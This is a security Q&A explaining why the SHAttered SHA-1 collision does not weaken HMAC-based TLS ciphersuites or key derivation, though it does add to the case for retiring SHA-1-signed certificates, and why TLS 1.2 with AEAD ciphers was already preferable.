Hashing is an example of defence in depth - as a first defence, you do not want your passwords to be leaked, but in case they are anyway you want them to be properly hashed to minimize the damage.


Should we only use TLSv1.2? Today Google announced the first SHA-1 collision, and they will release a PoC which is public accessible 90 days later. Here comes the question: should we only use TLSv1.2 since version below 1.2 support SHA-1, proofed not secure, but dont support SHA-2.

TLS (and SSL) used or uses SHA-1 in three ways.

1.0 and 1.1 used HMAC-SHA1 for data integrity in nearly all ciphersuites (a few old ones used HMAC-MD5 but they have mostly fallen by the wayside already). 1.2 adds some new ciphersuites that use HMAC-SHA2 (SHA-256 or SHA-384) and some new ciphersuites that use AEAD which combines integrity into the encryption (specifically AES or some others with GCM, AES with CCM, and ChaCha20-Poly13505; in practice only AES-GCM and ChaCha are common).

The HMAC construction blocks collision attacks like the new one for SHA1. Ciphersuites using HMAC-SHA1 remain as secure now as they were before, and as secure as HMAC-SHA2 -- which is, not entirely, because there already were and still are attacks unrelated to the hash. Specifically, all HMAC ciphersuites either use RC4, which is badly weakened and now prohibited from all vesions of TLS, or CBC-mode ciphers with MAC-then-encrypt, which have been subject to a series of padding-oracle attacks -- and in 1.0 also a known-IV attack (BEAST). The fix to these attacks is to use AEAD ciphersuites (with neither HMAC-SHA1 nor HMAC-SHA2), which requires 1.2.
"SHAttered" makes no difference. You should already have preferred 1.2 with AEAD not HMAC-SHA1 OR HMAC-SHA2, and you should still.
PRF and key derivation. 1.0 and 1.1 used a combination of double-HMAC-MD5 and double-HMAC-SHA1 for the PRF used in the handshake for key derivation and Finished; 1.2 uses double-HMAC-SHA2. As above HMAC protects against the collision attack, plus the key derivation and Finished data are substantially uncontrollable by an attacker anyway. No difference.
Certificates. TLS, including 1.2, usually (though not quite always) relies on certificates and their signatures, and collision attack can endanger certificate signatures in at least some cases. This was true for MD5 with the 'rogue' attack a decade ago, and resulted in fairly rapid retirement of MD5 certificates. The community has recognized for years that SHA1 certificates were similarly at risk: CAs have been forbidden to issue SHA1-signed certificates for at least 2 years, depending which authority you go by, and some (most?) browsers, some other clients and servers, and many tools (notably SSLLabs widely used tester) have been warning more or less noisily and intrusively about SHA1-signed certs for a least a year; now, as the shattered website notes, some (many?) will soon start rejecting these certs.

If you are still using SHA1-signed certificates; stop. This applies to all versions of TLS and also non-SSL/TLS uses of certificates such as email encryption and code signing.

So in conclusion, "SHAttered" does not provide any additional reason to use 1.2, but there was already good reason for 1.2. It does provide more reason to use SHA2 certificates -- everywhere, not just TLS. The only actual reason to switch to 1.2 because of "SHAttered" is because the publicity, noise, hype, fearmongering, and widespread incomprehension give you leverage to pry resources and approvals out of managers who don't understand the issue anyway.